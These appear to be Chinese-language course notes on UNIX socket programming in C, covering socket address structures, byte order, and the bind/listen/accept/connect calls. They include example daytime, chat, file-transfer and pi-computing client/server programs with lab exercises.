  - 將取得之時間秒數轉為26個字元字串
- clock_t clock(void);
  - clock_t是一滴答(tick)數，1000個ticks為一秒
  - 一常數CLK_TCK值為1000，要求兩事件時間差以CLK_TCK除

印出時間

```
// gcc daytime.c -o daytime -lunp
// ./daytime
#include <time.h>
#include <stdio.h>
#define MAXLINE 2048
int main(int argc, char **argv) {
    char buff[MAXLINE];
    time_t ticks;
    ticks = time(NULL);
    printf("%ld\n", ticks);
    snprintf(buff, sizeof(buff), "%s\n", ctime(&ticks));
    printf("%.24s\n", buff); //Output 24 char
}
```

```
1607832519
Sat Dec 12 20:08:39 2020
```

清除記憶體

- void bzero(void *s, int n);
  - 將字串前n個位元組清零，
  - 等價於 memset((void*)s, 0,size_tn)
    - 將區塊的前 size_tn 個位元組清零
    - 於 string.h 中。
  - bzero() 未在ANSI中定義，Linux的GCC可用

Byte Manipulation Functions

- Operating on multibyte fields

```
From 4.2BSD:
#include <strings.h>
void bzero (void *dest, size_t nbytes);
void bcopy (const void *src, void *dest, size_t nbytes);
int bcmp (const void *ptr1, const void *ptr2, size_t nbytes);
                                    returns: 0 if equal, nonzero if unequal
```

```
From ANSI C:
#include <string.h>
void *memset (void *dest, int c, size_t len);
void *memcpy (void *dest, const void *src, size_t nbytes);
int memcmp (const void *ptr1, const void *ptr2, size_t nbytes);
                                    returns: 0 if equal, nonzero if unequal
```

Posix.1g資料型別

- 現代OS，主要依循著 POSIX ("Portable Operating System Interface for uniX") 規格建議書實作。 POSIX 係由 IEEE 和 ISO 集合主流OS開發廠商制定的作業系統規格建議書。

Datatype	Description	Header
int8_t	signed 8-bit integer	<sys/types.h>
uint8_t	unsigned 8-bit integer	<sys/types.h>
int16_t	signed 16-bit integer	<sys/types.h>
uint16_t	unsigned 16-bit integer	<sys/types.h>
int32_t	signed 32-bit integer	<sys/types.h>
uint32_t	unsigned 32-bit integer	<sys/types.h>
sa_family_t	address family of socket addr structure	<sys/types.h>
socklen_t	length of socket addr structure, uint32_t	<sys/types.h>
in_addr_t	IPv4 address, normally uint32_t	<sys/types.h>
in_port_t	TCP or UDP port, normally uint16_t	<sys/types.h>

sockaddr_in

- struct sockaddr_in servaddr;
  - linux kernel針對IPv4用到的socket address structure
    - linux 2.6.x版本,可在include/linux/in.h中檢視
    - linux 3.x版本,可在include/uapi/linux/in.h中檢視

```
/* Type to represent a port.  */
typedef uint16_t in_port_t;
/* Internet address.  */
typedef uint32_t in_addr_t;
struct in_addr{                                  /* 因TCP/IP發展歷史，此處只有1個欄位用struct包裝 */
   in_addr_t s_addr;                             /*參見《UNIX Network Programming Volume 1》3.1節*/
};
/* Structure describing an Internet socket address.  */
struct sockaddr_in{
   __SOCKADDR_COMMON(sin_);      /* 本行等價為: sa_family_t sin_family */
                                 /* gcc -E檢視preprocess階段巨集展開後的原始碼可以確認這一點 */
   in_port_t sin_port;           /* Port number.  */
   struct in_addr sin_addr;      /* Socket Internet address.  */
   /* Pad to size of 'struct sockaddr'.  */
   unsigned char sin_zero[sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof
(struct in_addr)];
};
```

Socket Address Structures: IPv4, Generic, IPv6

```
struct in_addr {
   in_addr_t          s_addr;          /* 32-bit IPv4 address, network byte order */
};
struct sockaddr_in {
   uint8_t            sin_len;         /* length of structure */
   sa_family_t        sin_family;      /* AF_INET */
   in_port_t   sin_port;               /* 16-bit port#, network byte order */
   struct in_addr     sin_addr;        /* 32-bit IPv4 address, network byte order */
   char               sin_zero[8];     /* unused */
};
struct sockaddr {                      /* only used to cast pointers */
   uint8_t            sa_len;
   sa_family  sa_family;               /* address family: AF_xxx value */
   char               sa_data[14];     /* protocol-specific address */
};
struct in6_addr {
   unit8_t            s6_addr[16];     /* 128-bit IPv6 address, network byte order */
 };
struct sockaddr_in6 {
   uint8_t            sin6_len;        /* length of this struct [24] */
   sa_family  sin6_family;             /* AF_INET6 */
   in_port_t   sin6_port;              /* port#, network byte order */
   uint32_t    sin6_flowinfo;          /* flow label and priority */
   struct in6_addr    sin6_addr;       /* IPv6 adress, network byte order */
};
```

不同 Socket Address Structures

IPv4

socketaddr_in{}

length	AF_INET
16-bit port#	
32-bit IP address	
(unused)	

fixed length (16 bytes)

IPv6

socketaddr_in6{}

length	AF_INET6
16-bit port#	
32-bit flow label	
128-bit IPv6 address	

fixed length (24 bytes)

UNIX

socketaddr_un{}

length	AF_LOCAL
pathname (up to 104 bytes)	

variable length

Datalink

socketaddr_dl{}

length	AF_LINK
interface index	
type addr len	name len sel len
interface name and link-layer address	

variable length

sockaddr_in

- struct sockaddr_in servaddr;
  - sockaddr_in的size依賴struct sockaddr的size

```
sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof (struct in_addr)];
```

    - sin_zero欄位的padding(邊距、填充)使兩struct的size保持相等
    - 呼叫socket api時兩種型別的指標互轉
  - Macro

```
#define __SOCKADDR_COMMON(sa_prefix) \
sa_family_t sa_prefix##family
```

Socket 位址家族

- Socket 位址家族 (Address Family)

```
/* Supported address families. */
#define AF_UNSPEC          0
#define AF_UNIX            1          /* Unix domain sockets          */
#define AF_LOCAL           1          /* POSIX name for AF_UNIX       */
#define AF_INET            2          /* Internet IP Protocol         */
#define AF_AX25            3          /* Amateur Radio AX.25          */
#define AF_IPX             4          /* Novell IPX                   */
#define AF_APPLETALK       5          /* AppleTalk DDP                */
#define AF_NETROM          6          /* Amateur Radio NET/ROM        */
#define AF_BRIDGE          7          /* Multiprotocol bridge         */
#define AF_ATMPVC          8          /* ATM PVCs                     */
#define AF_X25             9          /* Reserved for X.25 project    */
#define AF_INET6           10         /* IP version 6                 */
#define AF_ROSE            11         /* Amateur Radio X.25 PLP       */
#define AF_DECnet          12         /* Reserved for DECnet project  */
#define AF_NETBEUI         13         /* Reserved for 802.2LLC project */
#define AF_SECURITY        14         /* Security callback pseudo AF  */
#define AF_KEY             15         /* PF_KEY key management API    */
#define AF_NETLINK         16
#define AF_ROUTE           AF_NETLINK  /* Alias to emulate 4.4BSD      */
#define AF_PACKET          17         /* Packet family                */
#define AF_ASH             18         /* Ash                          */
#define AF_ECONET          19         /* Acorn Econet                 */
#define AF_ATMSVC          20         /* ATM SVCs                     */
#define AF_RDS             21         /* RDS sockets                  */
#define AF_SNA             22         /* Linux SNA Project (nutters!) */
#define AF_IRDA            23         /* IRDA sockets                 */
#define AF_PPPOX           24         /* PPPoX sockets                */
#define AF_WANPIPE         25         /* Wanpipe API Sockets          */
#define AF_LLC             26         /* Linux LLC                    */
#define AF_CAN             29         /* Controller Area Network      */
#define AF_TIPC            30         /* TIPC sockets                 */
#define AF_BLUETOOTH       31         /* Bluetooth sockets            */
#define AF_IUCV            32         /* IUCV sockets                 */
#define AF_RXRPC           33         /* RxRPC sockets                */
#define AF_ISDN            34         /* mISDN sockets                */
#define AF_PHONET          35         /* Phonet sockets               */
#define AF_IEEE802154      36         /* IEEE802154 sockets           */
#define AF_MAX             37         /* For now..                    */
```

socket

- listenfd = socket(AF_INET, SOCK_STREAM, 0);
- int socket(int domain, int type, int protocol);
  - domain: socket溝通領域
    - AF_UNIX/AF_LOCAL：本機程序間傳輸，共享檔案系統
    - AF_INET , AF_INET6 ：兩台主機透過網路進行資料傳輸，AF_INET使用IPv4協定，AF_INET6是IPv6協定。
  - type: socket傳輸方式
    - SOCK_STREAM：提供序列化連接導向位元流傳輸。對應protocol為TCP。
    - SOCK_DGRAM：提供資料包(datagram)，對應protocol為UDP
  - protocol
    - 設定socket協定標準，一般設0，讓kernel選擇type對應的協議。
  - Return Value: 回傳socket檔案描述符(socket file descriptor)，透過它操作socket。若創建失敗回傳-1(INVALID_SOCKET)。

socket

- listenfd = socket(AF_INET, SOCK_STREAM, 0);

Socket type	Protocol	TYPE
STREAM	TCP, Systems Network Architecture (SNA-IBM), Sequenced Packet eXchange (SPX-Novell).	SOCK_STREAM
SEQPACKET	SPX.	SOCK_SEQPACKET
DGRAM	UDP, SNA, Internetwork Packet eXchange (IPX-Novell).	SOCK_DGRAM
RAW	IP.	SOCK_RAW

位元組順序(Endianness)

- 大端序(big-endian)
  - 最高位位元組0x0A 儲存在最低記憶體位址，下一個位元組0x0B存在後面位址。

- 小端序(little-endian)
  - 最低位位元組0x0D 儲存在最低記憶體位址，後面位元組依次存在後面位址。

位元組順序(Endianness)

- 網路端用Big endian，本機端視處理器體系，如x86使用Little endian。
  - htons()
    - Host TO Network Short integer
    - 將本機端字節序(endian)轉換成網路端字節序。
  - ntohs =net to host short int 16
  - htons=host to net short int 16
  - ntohl =net to host long int 32
  - htonl=host to net long int 32

```
#include <netinet/in.h>
uint16_t htons(uint16_t host16bitvalue); returns: value in network byte order
uint32_t htonl(uint32_t host32bitvalue); returns: value in network byte order
uint16_t ntohs(uint16_t net16bitvalue); returns: value in host byte order
uint32_t ntohl(uint32_t net32bitvalue); returns: value in host byte order
```

網路地址

- linux的socket INADDR_ANY
  - 0.0.0.0代表伺服器所擁有所有地址
  - bind伺服器上所有的網卡、所有IP地址，指定的port進行偵聽。
  - ubuntu的/usr/include/netinet/in.h
    - /* Address to accept any incoming messages. */
    - #define INADDR_ANY ((in_addr_t) 0x00000000)
  - servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    - 監聽所有伺服器擁有的IP
  - servaddr.sin_addr.s_addr = inet_addr("192.168.3.36");
    - 監聽伺服器擁有的IP 192.168.3.36
  - servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    - 監聽伺服器本地端IP 127.0.0.1
- inet_addr(ip); 將IP字串轉為長整數

Address Conversion Functions

- ASCII 字串與網路byte對binary values順序不同

For IPv4 only: ascii and numeric

```
#include <arpa/inet.h>
int inet_aton (const char *strptr, struct in_addr *addrptr);
                                    returns: 1 if string is valid, 0 on error
int_addr_t inet_addr (const char *strptr);
                          returns: 32-bit binary IPv4 addr, INADDR_NONE if error
char *inet_ntoa (struct in_addr inaddr);
                                    returns: pointer to dotted-decimal string
```

For IPv4 (AF_INET) and IPv6 (AF_INET6): presentation and numeric

```
#include <arpa/inet.h>
int inet_pton (int family, const char *strptr, void *addrptr);
                          returns: 1 if OK, 0 if invalid presentation, -1 on error
const char *inet_ntop (int family, const void *addrptr, char *strptr, size_t len);
                                    returns: pointer to result if OK, NULL on error
```

INET_ADDRSTRLEN = 16 (for IPv4), INET6_ADDRSTRLEN = 46 (for IPv6 hex string)

Address Conversion Functions

- ASCII 字串與網路byte對binary values順序不同

Protocol independent functions (not standard system functions):

```
#include "unp.h"
char *sock_ntop (const struct sockaddr *sockaddr, socklen_t addrlen);
                    returns: nonnull pointer if OK, NULL on error
```

sock_bind_wild, sock_cmp_addr, sock_cmp_port, sock_get_port, sock_ntop_host, sock_set_addr, sock_set_port, sock_set_wild, etc.

bind

- #include <sys/types.h>
- #include <sys/socket.h>
- int bind(int sockfd, struct sockaddr *my_addr, int addrlen);
  - sockfd為socket()的回傳值。
  - myaddr 指定port和ip後傳入，用struct sockaddr_in宣告，傳入時轉為struct sockaddr。
  - addrlen用 sizeof(struct sockaddr)
  - server使用，將local的endpoint attach到一個socket

connect

- #include <sys/types.h>
- #include <sys/socket.h>
- int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);
  - sockfd由socket()產生，serv_addr指定server的ip和port後傳入
  - addrlen用 sizeof(struct sockaddr)
  - 由client呼叫，連結server IP

listen

- #include <sys/socket.h>
- int listen(int sockfd, int backlog);
  - server使用
  - sockfd由socket()產生，backlog設定可queue住的connection數量(等待accept())。
  - unp.h:167:#define LISTENQ 1024 /* 2nd argument to listen() */
  - 失敗傳回-1，並使用errno

Posix.1g資料型別

- 多工OS環境，當 read()/write()處理資料時，若產生 signal ，系統為處理此 signal，會中斷 read()/write()，將程序狀態切換到 signal 處理動作。
  - 當 signal處理結束，再將程序狀態切換到 read()/write() 後續處理動作。
  - 中斷讀寫動作後再切換回去，會影響資料讀寫完整性。
  - 在 POSIX.1 中，read()/write() 被 signal 中斷，系統允許採取兩種實作規格:
    - 回傳 -1 並設定變數 errno 的值為 EINTR 。
    - 回傳已處理的 bytes 數目

accept

- #include <sys/types.h>
- #include <sys/socket.h>
- int accept(int sockfd, struct sockaddr *addr, int *addrlen);
  - sockfd: listen()所使用的那個sockfd
  - addr 宣告完存放client資訊
  - addrlen用 sizeof(struct sockaddr)
  - 失敗傳回-1，並使用errno
  - server listen()完後開始等待accept()。accept()傳回一個file descriptor供此connection的I/O用。accpet完後，server繼續使用listen()的fd等待下一個connection。

write

- #include <unistd.h>
- ssize_t write(int fd, const void *buf, size_t count);
  - 可寫到file，device或socket
- close(int fd);
  - 關閉socket

read

- #include <unistd.h>
- ssize_t read(int fd, void *buf, size_t count);
  - 從file，device或socket讀取
  - 沒有data則read會block
  - count指定讀的長度，若沒那麼多，則return，不會block

Stream Socket I/O Functions

- 防止呼叫得不處理short count

read and *write* return, before reading or writing requested bytes, when the socket buffer limit is reached in the kernel.

When reading from or writing to a stream socket:
(need to handle EINTR signal)
#include "unp.h"
ssize_t readn (int *filedes*, void **buff*, size_t *nbytes*);
returns: #bytes read, -1 on error
ssize_t writen (int *filedes*, const void **buff*, size_t *nbytes*);
returns: #bytes written, -1 on error
ssize_t readline (int *filedes*, void **buff*, size_t *maxlen*);
returns: #bytes read, -1 on error

send

- int send(int sockfd, const void *msg, int len, int flags);
  - sockfd可以是listen()的fd或是accpet的fd。
  - msg是data，len是data 的length (sizeof(msg))，flag設0。
  - 回傳值為送出去的大小
  - 失敗傳回-1，並使用errno

recv

- int recv(int sockfd, void *buf, int len, unsigned int flags);
  - sockfd: 要從哪個fd接收。
  - 回傳值為收到的大小。若回傳0，表示對方把connection切斷。

Daytime Client

- 開啟另一個 Terminal
  - cd Test
- 編輯後面 client端程式
  - gedit daytimetcpcli.c
- 編譯、執行
  - gcc daytimetcpcli.c -o daytimetcpcli -lunp
  - ./daytimetcpcli 127.0.0.1

```
kjy@ubuntu:~/Test$ gedit daytimetcpcli.c
kjy@ubuntu:~/Test$ gcc daytimetcpcli.c -o daytimetcpcli -lunp
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:23:35 2020
```

```
#include "unp.h"                    //daytimetcpcli.c
int main(int argc, char **argv){
    int sockfd, n;
    char recvline[MAXLINE + 1];
    struct sockaddr_in     servaddr;
    if (argc != 2)
          err_quit("usage: a.out <IPaddress>");
    if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
          err_sys("socket error");
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port   = htons(13);/* daytime server */
    if (inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0)
        err_quit("inet_pton error for %s", argv[1]);
    if (connect(sockfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
         err_sys("connect error");
    while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
        recvline[n] = 0;        /* null terminate */
        if (fputs(recvline, stdout) == EOF)
            err_sys("fputs error");
    }
    if (n < 0) err_sys("read error");
    exit(0);
}
```

Daytime Client

- 程式運作
  - Create TCP socket: get a file descriptor
  - Prepare server address structure: fill-in IP address and port number
  - Connect to the server: bind the file descriptor with the remote server
  - Read/write from/to server
  - Close socket

Daytime Client

- 啟動一個 server, 因為查詢資訊很短、速度很快
  - 兩個 client同時執行，不會有問題

```
kjy@ubuntu: ~/Tes
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~/Test$ sudo cp unp.h /usr/include
kjy@ubuntu:~/Test$ sudo cp config.h /usr/include
kjy@ubuntu:~/Test$ gedit daytimetcpsrv.c
kjy@ubuntu:~/Test$ gcc daytimetcpsrv.c -o daytim
kjy@ubuntu:~/Test$ sudo ./daytimetcpsrv
```

```
kjy@ubuntu: ~/Test
File  Edit  View  Search  Terminal  Help
kjy@ubuntu:~/Test$ gedit daytimetcpcli.c
kjy@ubuntu:~/Test$ gcc daytimetcpcli.c -o daytimetcpc
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:23:35 2020
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:23:56 2020
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:24:21 2020
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:25:04 2020
```

```
kjy@ubuntu:~$ cd Test
kjy@ubuntu:~/Test$ ./daytimetcpcli
usage: a.out <IPaddress>
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:24:58 2020
kjy@ubuntu:~/Test$ ./daytimetcpcli 127.0.0.1
Fri Dec 11 04:25:06 2020
kjy@ubuntu:~/Test$
```

```
#include "unp.h"    //daytimetcpcliv6.c  IPV6 version
int main(int argc, char **argv) {
    int sockfd, n;
    struct sockaddr_in6     servaddr;
    char recvline[MAXLINE + 1];
    if (argc != 2) err_quit("usage: a.out <IPaddress>");
    if ( (sockfd = socket(AF_INET6, SOCK_STREAM, 0)) < 0)
        err_sys("socket error");
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin6_family = AF_INET6;
    servaddr.sin6_port   = htons(13);/* daytime server */
    if (inet_pton(AF_INET6, argv[1], &servaddr.sin6_addr) <= 0)
       err_quit("inet_pton error for %s", argv[1]);
    if (connect(sockfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
         err_sys("connect error");
    while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
         recvline[n] = 0;        /* null terminate */
         if (fputs(recvline, stdout) == EOF)
              err_sys("fputs error");
    }
    if (n < 0)   err_sys("read error");
    exit(0);
}
```

Problems with the the Simple Server

- Protocol dependency on IPv4
- Iterative server: no overlap of service times of different clients
- Need for concurrent server: fork, pre-fork, or thread
- Need for daemon: background, unattached to a terminal

Error Handling: wrappers

```
/* include Socket */                lib/wrapsock.c
int Socket(int family, int type, int protocol) {
    int  n;
    if ( (n = socket(family, type, protocol)) < 0)
            err_sys("socket error");
        return(n);
}
/* end Socket */
```

Types of Networking APIs

- TCP socket
- UDP socket
- raw socket over IP (bypass TCP/UDP)
- datalink (bypass IP)
  - BPF (BSD Packet Filter)
  - DLPI (SVR4 Data Link Provider Interface)

Discovering Details of Your Local Network

- To find out interfaces: netstat -ni
- To find out routing table: netstat -rn
- To find out details of an interface: ifconfig
- To discover hosts on a LAN: ping

Client Server互送訊息

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>                    //Server – simples.c, gcc simples.c -o simples -lunp
int main(int argc , char *argv[]){
    char inputBuffer[256] = {};
    char message[] = {"Hi, this is server.\n"};
    int sockfd = 0, clientSockfd = 0;                    //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;            //socket的連線
    int addrlen = sizeof(clientInfo);
    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8700);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
    listen(sockfd, 8);
    while(1){
        clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);
        send(clientSockfd, message, sizeof(message),0);
        recv(clientSockfd, inputBuffer, sizeof(inputBuffer),0);
        printf("Get:%s\n",inputBuffer);
    }
    return 0;
}
```

Client Server互送訊息

```
#include <stdio.h>                  // Client – simplec.c
#include <stdlib.h>                 // gcc simplec.c -o simplec -lunp
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc , char *argv[]) {
    char message[] = {"Hi Server"}, receiveMessage[100] = {};    //Send/receive a message to server;
    int sockfd = 0;                                              //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");    }
    struct sockaddr_in info;                                     //socket的連線
    bzero(&info,sizeof(info));
    info.sin_family = PF_INET;
    info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
    info.sin_port = htons(8700);
    int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
    if(err==-1){       printf("Connection error");    }
    send(sockfd, message, sizeof(message),0);
    recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
    printf("%s, close Socket\n", receiveMessage);
    close(sockfd);
    return 0;
}
```

Exercise

- 使用兩個虛擬機
  - 一個當 server, 一個當client
  - 當CLIENT端使用者輸入不同訊息，SERVER回應不同訊息
  - 例如
    - CLIENT: Hello
    - SERVER: HI
    - CLIENT: GOOD
    - SERVER: THANKS

Exercise

- 開啟兩個虛擬機，一個當Server，一個當Client
  - client 要求server計算PI精確到小數N位
  - Server計算PI精確到小數N位，回傳計算結果

$$\pi = 2 \times \frac{2}{\sqrt{2}} \times \frac{2}{\sqrt{2+\sqrt{2}}} \times \frac{2}{\sqrt{2+\sqrt{2+\sqrt{2}}}} \times \ldots$$

$$\frac{\pi}{2} = \frac{2}{1} \times \frac{2}{3} \times \frac{4}{3} \times \frac{4}{5} \times \frac{6}{5} \times \frac{6}{7} \times \ldots$$

$$\frac{\pi}{2} = 1 + \frac{1}{3} + \frac{1}{3} \times \frac{2}{5} + \frac{1}{3} \times \frac{2}{5} \times \frac{3}{7} + \ldots$$

$$\frac{\pi}{4} = 1 - \frac{1}{3} + \frac{1}{5} - \frac{1}{7} + \frac{1}{9} - \ldots$$

$$\frac{\pi}{6} = \frac{1}{2} + \frac{1}{2} \times \frac{1}{3 \times 2^3} + \frac{1 \times 3}{2 \times 4} \times \frac{1}{5 \times 2^5} + \ldots$$

$$\frac{\pi^2}{8} = 1 + \frac{1}{3^2} + \frac{1}{5^2} + \frac{1}{7^2} + \ldots$$

Exercise

- 開啟兩個虛擬機，一個當Server，一個當Client
  - client 要求server計算PI精確到小數N位
  - Server計算PI精確到小數N位，回傳計算結果

```
#include <stdio.h>
#include <math.h>
int main() {
    double pi=1, nextPi=0, sign =-1;
    int i=1;
    printf("%f\n", fabs(pi-nextPi));
    while (fabs(pi-nextPi)>0.000000001) {
        nextPi = pi;
        pi = pi+sign*(1/(2.0*i+1));
        i = i + 1;
        sign = sign * (-1);
    }
    printf("%.16f\n", 4*pi);
    return 0;
}
```

檔案傳輸

```
#include <stdio.h>                  // Client – fileClent.c
#include <stdlib.h>                 // gcc fileClient.c -o fileClient -lunp
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int main(void){
    int sockfd = 0;
    int bytesReceived = 0;
    char recvBuff[256];
    memset(recvBuff, '0', sizeof(recvBuff));
    struct sockaddr_in serv_addr;
    /* Create a socket first */
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0))< 0) {
        printf("\n Error : Could not create socket \n");
        return 1;
    }
    /* Initialize sockaddr_in data structure */
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(5000); // port
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
```

檔案傳輸

```
    /* Attempt a connection */
    if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0) {
        printf("\n Error : Connect Failed \n");
        return 1;
    }
    /* Create file where data will be stored */
    FILE *fp;
    fp = fopen("sample_file.txt", "ab");
    if(NULL == fp)     {
        printf("Error opening file");
        return 1;
    }
    /* Receive data in chunks of 256 bytes */
    while((bytesReceived = read(sockfd, recvBuff, 256)) > 0) {
        printf("Bytes received %d\n",bytesReceived);
        // recvBuff[n] = 0;
        fwrite(recvBuff, 1,bytesReceived,fp);
        // printf("%s \n", recvBuff);
    }
    if(bytesReceived < 0)    {
        printf("\n Read Error \n");
    }
    return 0;
}
```

檔案傳輸

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main(void){
    int listenfd = 0;
    int connfd = 0;
    struct sockaddr_in serv_addr;
    char sendBuff[1024];
    int numrv;
    listenfd = socket(AF_INET, SOCK_STREAM, 0);
    printf("Socket retrieve success\n");
    memset(&serv_addr, '0', sizeof(serv_addr));
    memset(sendBuff, '0', sizeof(sendBuff));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(5000);
    bind(listenfd, (struct sockaddr*)&serv_addr,sizeof(serv_addr));
    if(listen(listenfd, 10) == -1)    {
        printf("Failed to listen\n");
        return -1
    }
```

檔案傳輸

```
while(1)    {
        connfd = accept(listenfd, (struct sockaddr*)NULL ,NULL);
        /* Open the file that we wish to transfer */
        FILE *fp = fopen("server.txt","rb");
        if(fp==NULL)        {
            printf("File opern error");
            return 1;
        }
        /* Read data from file and send it */
        while(1)        {
            /* First read file in chunks of 256 bytes */
            unsigned char buff[256]={0};
            int nread = fread(buff,1,256,fp);
            printf("Bytes read %d \n", nread);
```

檔案傳輸

```
/* If read was success, send data. */
            if(nread > 0)           {
                printf("Sending \n");
                write(connfd, buff, nread);
            }
            /* There is something tricky going on with read ..
             * Either there was error, or we reached end of file.  */
            if (nread < 256)           {
                if (feof(fp))
                    printf("End of file\n");
                if (ferror(fp))
                    printf("Error reading\n");
                break;
            }
        }
        close(connfd);
        sleep(1);
    }
    return 0;
}
```

Exercise

- 開啟兩個虛擬機，一個當Server，一個當Client
  - 在client 輸入資料，存成檔案client.txt
  - 將檔案傳輸到server

對話

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>            //Server – simples.c, gcc simples.c -o simples -lunp
int main(int argc , char *argv[]){
    char inputBuffer[256];
    char message[] = {"Sorry.\n"};
    int sockfd = 0, clientSockfd = 0;                    //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;                    //socket的連線
    int addrlen = sizeof(clientInfo);
    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8700);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
```

對話

```
listen(sockfd, 8);
    while(1){
        clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);
        while (1) {
            recv(clientSockfd, inputBuffer, sizeof(inputBuffer),0);
            if (strcmp(inputBuffer,"Hello")==0)
                send(clientSockfd, "Hi~", sizeof(message),0);
            else if (strcmp(inputBuffer,"GOOD")==0) {
                send(clientSockfd, "THANKS~", sizeof(message),0);
                //break;
            }
            else
                send(clientSockfd, message, sizeof(message),0);
            printf("Get:=>%s,%s\n",inputBuffer,message);
        }
    }
    return 0;
}
```

對話

```
#include <stdio.h>                  // Client – simplec.c
#include <stdlib.h>                 // gcc simplec.c -o simplec -lunp
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc , char *argv[]) {
    char message[256], receiveMessage[256];    //Send/receive a message to server;
    int sockfd = 0;                                          //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
    if (sockfd == -1){        printf("Fail to create a socket.");    }
    struct sockaddr_in info;                                 //socket的連線
    bzero(&info,sizeof(info));
    info.sin_family = PF_INET;
    info.sin_addr.s_addr = inet_addr("127.0.0.1");   //localhost test
    info.sin_port = htons(8700);
```

對話

```
int err = connect(sockfd,(struct sockaddr *)&info,sizeof(info));
    if(err==-1){       printf("Connection error");    }
    while (1) {
        scanf("%s", message);
        send(sockfd, message, sizeof(message),0);
        recv(sockfd, receiveMessage, sizeof(receiveMessage),0);
        printf("Server: %s\n", receiveMessage);
        if (strcmp(message,"Bye")==0) break;
    }
    printf("close Socket\n");
    close(sockfd);
    return 0;
}
```

Exercise

- 開啟Server, Client虛擬機
  - client詢問Server
    - 時間
    - 兩數相加
    - PI
    - Hello

計算PI

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>            //Server – pis.c, gcc pis.c -o simples -lunp
#include <math.h>
double getPi(int x, int y) {
    double pi=0, sign =-1;
    if (x%2==0) sign =1;
    else sign =-1;
    for (int i=x; i<y; i++) {
        pi = pi+sign*(1/(2.0*i+1));
        sign = sign * (-1);
    }
    return 4*pi;
}

int main(int argc , char *argv[]){
    double r =0;
    int y=0;
    char message[256],inputBuffer[256];
    int sockfd = 0, clientSockfd = 0;                    //socket的建立
    sockfd = socket(AF_INET , SOCK_STREAM , 0);
```

計算PI

```
    if (sockfd == -1){        printf("Fail to create a socket.");     }
    struct sockaddr_in serverInfo,clientInfo;                    //socket的連線
    int addrlen = sizeof(clientInfo);
    bzero(&serverInfo,sizeof(serverInfo));
    serverInfo.sin_family = AF_INET;
    serverInfo.sin_addr.s_addr = INADDR_ANY;
    serverInfo.sin_port = htons(8700);
    bind(sockfd,(struct sockaddr *)&serverInfo,sizeof(serverInfo));
    listen(sockfd, 8);
    while(1){
        clientSockfd = accept(sockfd,(struct sockaddr*) &clientInfo, &addrlen);
        recv(clientSockfd, inputBuffer, sizeof(inputBuffer),0);
        y = atoi(inputBuffer);
        r = getPi(0, y);
        snprintf(message,sizeof(message),"pi=%.12f",r);
        printf("Get:=>%s,%.12f\n",inputBuffer,r);
        send(clientSockfd, message, sizeof(message),0);
    }
    return 0;
}
